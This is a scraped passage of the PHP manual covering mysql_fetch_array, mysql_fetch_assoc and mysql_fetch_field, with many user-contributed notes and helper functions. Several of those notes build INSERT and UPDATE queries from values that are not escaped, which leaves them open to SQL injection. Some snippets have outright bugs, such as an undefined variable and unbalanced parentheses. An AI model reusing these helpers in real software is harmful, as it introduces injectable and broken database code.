One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    foreach ($line as $col_value) {
        echo $col_value . '<br />';
    }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
sigit at djpkpd dot go dot id, harris at djpkpd dot go dot id 24-Mar-2003 10:28
if you have to use the field name with number like 1,2,..etc, it cause a problem when you fetch it with mysql_fetch_array.
An index array will contain a field name.
The solusion is:
1. Use mysql_fetch_assoc to escape the result to html;
2. Use alias and choose another name of field in mysql_query
hanskrentel at yahoo dot de 08-Jan-2003 01:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
    $ret=array();

    $num = mysql_num_fields($result);
    if ($num==0) return $ret;

    $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

    $i=0;
     while($i<$num)
        {
            $fname[$i] = mysql_field_name($result,$i);
            $ret[$i] = $fval[$i];            // enum
            $ret[''.$fname[$i].''] = $fval[$i];    // assoc
            $i++;
        }

    return $ret;
}
juancri at tagnet dot org 12-Nov-2002 01:41
An example with mysql_fetch_array():

    $result = mysql_query("SELECT name FROM table WHERE id=8");
    $array = mysql_fetch_array($result);

$array will be:

    array ([0] => "John", ['name'] => "John")

Then you can access to the results:

    echo "The name is " . $array[0];
    // or
    echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com 10-Nov-2002 04:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com 09-Oct-2002 02:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi 25-Sep-2002 02:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com 14-Jun-2002 03:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it 31-May-2002 06:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
    $i = 0;
    foreach($record as $element)
        $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu 12-Mar-2002 07:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
some at gamepoint dot net 10-Jan-2002 11:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.
mysql_escape_string
mysql_fetch_assoc
MySQL Functions


Fetch a result row as an associative array

mysql_fetch_array
mysql_fetch_field
MySQL Functions
PHP Manual

mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc — Fetch a result row as an associative array

Description

array mysql_fetch_assoc ( resource $result )

Returns an associative array that corresponds to the fetched row and moves the internal data pointer ahead. mysql_fetch_assoc() is equivalent to calling mysql_fetch_array() with MYSQL_ASSOC for the optional second parameter. It only returns an associative array.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns an associative array of strings that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysql_fetch_row() or add alias names. See the example at the mysql_fetch_array() description about aliases.

Examples

Example #1 An expanded mysql_fetch_assoc() example

<?php

$conn = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!$conn) {
    echo "Unable to connect to DB: " . mysql_error();
    exit;
}

if (!mysql_select_db("mydbname")) {
    echo "Unable to select mydbname: " . mysql_error();
    exit;
}

$sql = "SELECT id as userid, fullname, userstatus
        FROM   sometable
        WHERE  userstatus = 1";

$result = mysql_query($sql);

if (!$result) {
    echo "Could not successfully run query ($sql) from DB: " . mysql_error();
    exit;
}

if (mysql_num_rows($result) == 0) {
    echo "No rows found, nothing to print so am exiting";
    exit;
}

// While a row of data exists, put that row in $row as an associative array
// Note: If you're expecting just one row, no need to use a loop
// Note: If you put extract($row); inside the following loop, you'll
//       then create $userid, $fullname, and $userstatus
while ($row = mysql_fetch_assoc($result)) {
    echo $row["userid"];
    echo $row["fullname"];
    echo $row["userstatus"];
}

mysql_free_result($result);

?>

Notes

Note: Performance

An important thing to note is that using mysql_fetch_assoc() is not significantly slower than using mysql_fetch_row(), while it provides a significant added value.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query
  • mysql_error() - Returns the text of the error message from previous MySQL operation

User Contributed Notes

andy dot g dot mac at gmail dot com 30-Dec-2011 01:30
If you use the MySQL MAX() function as part of your query, reference it with, for example:
<?php
$ID = $result['MAX(ID)'];
?>
not
<?php
$ID = $result['MAX(`ID`)'];
?>
as I tried ... I hope that saves someone a few minutes ...
Gorm 28-Dec-2011 04:10
A function to retrieve _all_ fields as fully qualified names:

<?php
function mysql_fetch_assoc_fullname($r)
{
    // Does the same thing a as mysql_fetch_assoc, but the keys are fully qualified like <table name>.<field name>.
    // That way all fields is perserved and adressable like mysql_fetch_row is.
    // table name will be blank if its a computed field. F.ex: 'select 5+5 as ten' will give array('.ten' => 10)
    $f = mysql_fetch_row($r);
    if($f === false) return false;
    $tmp = array();
    foreach($f as $k => $v)
    {
        $tmp[mysql_field_table($r, $k) . '.' . mysql_field_name($r, $k)] = $v;
    }
    return $tmp;

}
?>
george at georgefisher dot com 21-Apr-2009 07:51
Thanks to to R. Bradley for the implode idea. The following fixes a few bugs and includes quote_smart functionality (and has been tested)

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

   //
   // Insert values into a MySQL database
   // Includes quote_smart code to foil SQL Injection
   //
   // A call to this function of:
   //
   //  $val1 = "foobar";
   //  $val2 = 495;
   //  mysql_insert_assoc("tablename", array(col1=>$val1, col2=>$val2, col3=>"val3", col4=>720, col5=>834.987));
   //
   // Sends the following query:
   //  INSERT INTO 'tablename' (col1, col2, col3, col4, col5) values ('foobar', 495, 'val3', 720, 834.987)
   //

       global $db_link;

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array $my_array
       $values = array_values($my_array);

       // quote_smart the values
       $values_number = count($values);
       for ($i = 0; $i < $values_number; $i++)
         {
         $value = $values[$i];
         if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
         if (!is_numeric($value))    { $value = "'" . mysql_real_escape_string($value, $db_link) . "'"; }
         $values[$i] = $value;
         }

       // Compose the query
       $sql = "INSERT INTO $my_table ";

       // create comma-separated string of column names, enclosed in parentheses
       $sql .= "(" . implode(", ", $columns) . ")";
       $sql .= " values ";

       // create comma-separated string of values, enclosed in parentheses
       $sql .= "(" . implode(", ", $values) . ")";

       $result = @mysql_query ($sql) OR die ("<br />\n<span style=\"color:red\">Query: $sql UNsuccessful :</span> " . mysql_error() . "\n<br />");

       return ($result) ? true : false;
   }
?>
Daniel Chcouri - 333222 +A-T+ gmail 02-Apr-2009 03:45
Fetching all the results to array with one liner:

<?php
$result = mysql_query(...);
while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
?>
josh at joshstrike dot com 27-Dec-2008 03:40
Here's a nifty function to copy a whole table to another table. Takes as its arguments
$z -> the result of a SQL query with columns matching the table you're copying into.
$toTable -> string name of the table to copy into.
$link_identifier -> the db resource of the table you're copying into.
If anyone can find a faster way to do this, I'd be glad to know about it...

<?php
function mysql_multirow_copy($z,$toTable,$link_identifier) {
    $fields = "";
    for ($i=0;$i<mysql_num_fields($z);$i++) {
        if ($i>0) {
            $fields .= ",";
        }
        $fields .= mysql_field_name($z,$i);
    }
    $q = "INSERT INTO $toTable ($fields) VALUES";
    $c = 0;
    mysql_data_seek($z,0); //critical reset in case $z has been parsed beforehand. !
    while ($a = mysql_fetch_assoc($z)) {
        foreach ($a as $as) {
            $a[key($a)] = addslashes($as);
            next ($a);
        }
        if ($c>0) {
            $q .= ",";
        }
        $q .= "('".implode(array_values($a),"','")."')";
        $c++;
    }
    $q .= ";";
    $z = mysql_query($q,$link_identifier);
    return ($q);
}
?>
alx at inbox dot lv 31-Mar-2008 04:36
Alternate option for mysqk_fetch_assoc

I spent a day thinking.. damn!

<?php
function &dbFetch(&$result) {
    dbTimeOn();
    if ($EOF) $rs = false;
    else {
        dbMoveNext($result,$fields,$EOF);
        $rs = $fields;
    }
    dbTimeOff();
    return $rs;
}

function &dbMoveNext(&$result,&$fields,&$EOF) {
    if ($fields =& mysql_fetch_array($result,MYSQL_ASSOC)) {
        return true;
    }
    if (!$EOF) {
        $EOF = true;
    }
    return false;
}
?>
Hope it willl help someone.
nick at homefeedback dot com 21-Mar-2007 04:50
function array2table: small fix to the post below that handles data returned from mysql that is either null or 0...

This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while (false !== ($curr_field = current($curr_row))) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
Typer85 at gmail dot com 30-Nov-2006 05:21
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
AK-Palme 27-Nov-2006 08:14
This is a fetch-function useful while using multiple tables in your query:

function sqlf($result){
    $row = mysql_fetch_row($result);
    if($row === FALSE) return FALSE;

    for ($i = 0; $i < mysql_num_fields($result); $i++) {
        $meta = mysql_fetch_field($result, $i);
        $data[$meta ->table . '.' . $meta->name] = $row[$i];
    }
    return $data;
}

the result will be an array containing fields like this:
[table.field] => value
JPM 28-Oct-2006 01:00
For the last post, I thing there is a little mistake :

the second

if (count($columns)>0)

should be

if (count($values)>0)

By the way, thx for this useful function.
16-Oct-2006 12:05
I just fixed some things in my own mysql_insert_assoc - I used it in development and just noticed things that went wrong...

<?php
class MySQL {
 static $link = NULL;
 static function uncached_insert ($table, $values) {
  // Find all the keys (column names) from the array $my_array
  $columns = array_keys($values);

  // Find all the values from the array

  var_export($columns);
  reset($values);
  while (list($key, $val) = each($values)) {
   $values[$key] = mysql_real_escape_string($val,self::$link);
  }

  // We compose the query
  $sql = 'INSERT INTO `'.$table.'` ';
  // implode the column names, inserting '`, `' between each
  // we add the enclosing quotes at the same time
  if (count($columns)>0) {
   $sql .= '(`' . implode('`, `', $columns) . '`)';
  }
  $sql .= ' VALUES ';
  // Same with the values
  if (count($columns)>0) {
   $sql .= '(\'' . implode('\', \'', $values) . '\')';
  } else {
   $sql .= '()';
  }
  $result = mysql_query($sql,self::$link);
  var_export($sql);
  if (!$result) echo 'The row was not added<br>The error was ' . mysql_error();
  return $result;
 }
}
?>

Unfortunately it looks way different from what I had before (because I copied it from my program), but it fixes these bugs:
- fields MUST have backticks, no single quotes
- empty arrays did trouble
- space after the error echo
q-tech at phreaker dot net 21-Sep-2006 03:18
In regards to Maviee's fetch function I suggest a more functional approach:

<?php
function msq($q)
  {
      global $dbqcount; //Count queries for the page;
      $dbqcount++;
      if (!$res=mysql_query ($q)) die (mysql_error());
      $rr[0]=0; //$rr[0] countains number of the returned results
      if (is_resource($res))
       {
       while ($rr[]=mysql_fetch_assoc($res)) $rr[0]++;
       mysql_free_result($res);
       }
      return $rr;
  }
?>

Also I would like to point out that mysql_fetch_assoc does associate array EXACTLY to the name of the fields/functions you've recieved results for! E.g.:

<?php
$rez=msq("SELECT MAX(`ID`) FROM `table1`"); // $rez will contain assoc. variable named $rez[1]['MAX(`ID`)'], not $rez[1]['ID']
?>
R. Bradley 14-Sep-2006 08:34
In response to Sergiu's function - implode() would make things a lot easier ... as below:

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array
       $values = array_values($my_array);

       // We compose the query
       $sql = "insert into `$my_table` ";
       // implode the column names, inserting "\", \"" between each (but not after the last one)
       // we add the enclosing quotes at the same time
       $sql .= "(\"" . implode("\", \"", $column_names) . "\")";
       $sql .= " values ";
       // Same with the values
       $sql .= "(" . implode(", ", $values) . ")";

       $result = mysql_query($sql);

       if ($result)
       {
           echo "The row was added sucessfully";
           return true;
       }
       else
       {
           echo ("The row was not added<br>The error was" . mysql_error());
           return false;
       }
   }
?>

Thus, a call to this function of:
mysql_insert_assoc("tablename", array("col1"=>"val1", "col2"=>"val2"));

Sends the following sql query to mysql:
INSERT INTO `tablename` ("col1", "col2") VALUES ("val1", "val2")
Sergiu 31-Aug-2006 07:01
A function, fully commented, for inserting an associative array into a table.

<?php
    function mysql_insert_assoc ($my_table, $my_array) {

        // Find all the keys from the array $my_array
        $keys = array_keys($my_array);

        // Find the number of the keys
        $keys_number = count($keys);

        // Generate the column name for the $sql query
        $column_names = "(";
        $values = "(";

        for ($i = 0; $i < $keys_number; $i++) {
            $column_name = $keys[$i];

            // We don't add "," after the last one
            if ($i == ($keys_number - 1)) {
                $column_names .= "`$keys[$i]`";
                $values .= "'$my_array[$column_name]'";
            } else {
                $column_names .= "`$keys[$i]`" . ", ";
                $values .= "'$my_array[$column_name]'" . ", ";
            }
        }

        // Proper end the column name and the value
        $column_names .= ")";
        $values .= ")";

        // We compose the query
        $sql = "insert into `$my_table` ";
        $sql .= $column_names;
        $sql .= ' values ';
        $sql .= $values;

        $result = mysql_query($sql);

        if ($result)
        {
            echo "The row was added sucessfully";
            return true;
        }
        else
        {
            echo ("The row was not added<br>The error was" . mysql_error());
            return false;
        }
    }
?>
rinke van den berg 30-Jul-2006 02:42
I read someone posting 'I have the philosphy that a function has exactly one return point.'

It seems to me that always having only one return point takes away a little power from 'return' making code less efficient. Compare:

function doSomething($a,$b) {
   $returnVal = 1;
   if($a==$b) { $returnVal = false; }
   if($returnVal !== false) { //didnt we discover that already?
      //do something as we know a and b is what we expect
      $returnVal = $a - $b;
   }
   return $returnVal;
}

with:

function doSomething($a,$b) {
   if($a==$b) { return false; //early exit }
   //do something as we know a and b is what we expect
   return $a-$b;
}
paintedgauthier at gmail dot com 04-Mar-2006 01:49
Sorry the last one i posted does a normal non-mysql array , this will work the magic on a assoc array

<? function assoc_array_to_mysql() {
global $array;
    $update = 'update player set ';
    foreach($array as $key => $value) {
        if ($i) { $update .= key($array);
            $check = current($array);
            if (isset($check)) {
            $update .= '=\''.current($array).'\'';
            } else {  $update .= '=null'; }
        } else { $key = key($array);
        $current = current($array);
        $end = "where $key = $current"; }

       next($array);
       $check = key($array);
       if (isset($check)) {
           if ($i) {$update .= ', '; }
        } else {$update .= ' '.$end; }
      $i++;
    }
    $result = mysql_query($update) or die(mysql_oops($update));
    echo 'Updated';
 } ?>
chasfileDELETE_ALL_CAPS at gmail dot com 23-Feb-2006 11:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
    $i=0;
    $ret = array();
    while ($row = mysql_fetch_assoc($result)) {
        foreach ($row as $key => $value) {
            $ret[$i][$key] = $value;
            }
        $i++;
        }
    return ($ret);
    }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
          [datetime] => 2006-02-17 16:00:00
          [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
          [datetime] => 2006-02-17 16:00:00
          [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
          [datetime] => 2006-02-17 16:00:00
          [price] => 27.4 ))
jono 01-Feb-2006 09:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
Maviee at gmx dot net 13-Jan-2006 02:38
I'll show you a small function which creates a normal array out of a mysql_fetch_assoc foreach loop.
First of all, I want to say, I have the philosphy that a function has exactly one return point. That's why I'm working with a return variable.

Now here is the code:

public function DBSelect($statement)
{
    $ident = mysql_query($statement);
    $result = true;

    if ($ident == false || mysql_num_rows($ident) == 0)
        $result = false;

    // only create the array when everything went fine
    if ($result != false)
    {
        unset($result);
        // workaround to avoid a 2-dimensional array
        foreach(mysql_fetch_assoc($ident) as $key => $value)
        {
            $result[$key] = $value;
        }
        mysql_free_result($ident);
    }
    return $result;
}
13-Dec-2005 03:25
The following code retrieves all rows but adds an empty array element to the end:
    while ($arr[] = mysql_fetch_assoc($result));
One way to remove it is to also execute the following:
    array_pop($arr);
08-Oct-2005 07:03
This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while ($curr_field = current($curr_row)) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
benlanc at ster dot me dot uk 23-Aug-2005 04:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org 21-Jun-2005 01:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com 14-May-2005 12:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
    SELECT *
    FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }
?>
joe at kybert dot com 29-Sep-2004 01:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk 17-Sep-2004 05:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
    [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl 04-Sep-2003 04:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}
mysql_fetch_array
mysql_fetch_field
MySQL Functions


Get column information from a result and return as an object

mysql_fetch_assoc
mysql_fetch_lengths
MySQL Functions
PHP Manual

mysql_fetch_field

(PHP 4, PHP 5)

mysql_fetch_field — Get column information from a result and return as an object

Description

object mysql_fetch_field ( resource $result [, int $field_offset = 0 ] )

Returns an object containing field information. This function can be used to obtain information about fields in the provided query result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. If the field offset is not specified, the next field that was not yet retrieved by this function is retrieved. The field_offset starts at 0.

Return Values

Returns an object containing field information. The properties of the object are:

  • name - column name
  • table - name of the table the column belongs to
  • max_length - maximum length of the column
  • not_null - 1 if the column cannot be NULL
  • primary_key - 1 if the column is a primary key
  • unique_key - 1 if the column is a unique key
  • multiple_key - 1 if the column is a non-unique key
  • numeric - 1 if the column is numeric
  • blob - 1 if the column is a BLOB
  • type - the type of the column
  • unsigned - 1 if the column is unsigned
  • zerofill - 1 if the column is zero-filled

Examples

Example #1 mysql_fetch_field() example

<?php
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$conn) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('database');
$result = mysql_query('select * from table');
if (!$result) {
    die('Query failed: ' . mysql_error());
}
/* get column metadata */
$i = 0;
while ($i < mysql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = mysql_fetch_field($result, $i);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
blob:         $meta->blob
max_length:   $meta->max_length
multiple_key: $meta->multiple_key
name:         $meta->name
not_null:     $meta->not_null
numeric:      $meta->numeric
primary_key:  $meta->primary_key
table:        $meta->table
type:         $meta->type
unique_key:   $meta->unique_key
unsigned:     $meta->unsigned
zerofill:     $meta->zerofill
</pre>";
    $i++;
}
mysql_free_result($result);
?>

Notes

Note: Field names returned by this function are case-sensitive.

See Also

  • mysql_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

eviltofu at gmail dot com 08-Jul-2011 05:58
MYSQLI_TYPE_BLOB indicates the field is a BLOB or a TEXT. I think you would need to check the blob value. If its true then it's a BLOB, otherwise it's a TEXT. Can someone confirm?
Jonathan 30-Jul-2010 05:45
It should be noted that the primary_key member variable is only set to 1 if the primary key on the table is only on that 1 field. If you have a table that has a multiple column primary key, then you will not get what you might expect.

For example:
CREATE TABLE `line_item_table` (
  `liForeignKey1` int(11) unsigned not null,
  `liForeignKey2` int(11) unsigned not null,
  PRIMARY KEY (`liForeignKey1`, `liForeignKey2`)
) ENGINE=MyISAM;

While you might expect that primary_key == 1 for both columns; var_dump() will show you that you get the following for both fields:
["primary_key"]=>int(0)

This is as of PHP 5.2.13 and MySQL 5.0.51
mewsterus at yahoo dot com 07-Jul-2009 11:18
A nice function to return an array of all fields for a particular table. I've added a few very useful properties to the spec:

'len', which is supplied by the mysql_field_len() function.
'definition', which is a column_definition which could be used to initialize the table.
'auto_increment', which is 1 if the field is auto_increment.

<?php
function mysql_fetch_fields($table) {
        // LIMIT 1 means to only read rows before row 1 (0-indexed)
        $result = mysql_query("SELECT * FROM $table LIMIT 1");
        $describe = mysql_query("SHOW COLUMNS FROM $table");
        $num = mysql_num_fields($result);
        $output = array();
        for ($i = 0; $i < $num; ++$i) {
                $field = mysql_fetch_field($result, $i);
                // Analyze 'extra' field
                $field->auto_increment = (strpos(mysql_result($describe, $i, 'Extra'), 'auto_increment') === FALSE ? 0 : 1);
                // Create the column_definition
                $field->definition = mysql_result($describe, $i, 'Type');
                if ($field->not_null && !$field->primary_key) $field->definition .= ' NOT NULL';
                if ($field->def) $field->definition .= " DEFAULT '" . mysql_real_escape_string($field->def) . "'";
                if ($field->auto_increment) $field->definition .= ' AUTO_INCREMENT';
                if ($key = mysql_result($describe, $i, 'Key')) {
                        if ($field->primary_key) $field->definition .= ' PRIMARY KEY';
                        else $field->definition .= ' UNIQUE KEY';
                }
                // Create the field length
                $field->len = mysql_field_len($result, $i);
                // Store the field into the output
                $output[$field->name] = $field;
        }
        return $output;
}

// Example:
mysql_connect('localhost', 'user', 'pass');
mysql_select_db('database');
$fields = mysql_fetch_fields('table');
foreach ($fields as $key => $field) {
        echo $field->name . ' ' . $field->definition . "\n";
}

// May output:
// field1 char(8)
// field2 int PRIMARY KEY
// field3 int AUTO_INCREMENT UNIQUE KEY
// field4 mediumtext NOT NULL DEFAULT 'I\'m a little teapot'
?>
TALU 04-Feb-2009 08:16
XML generation.

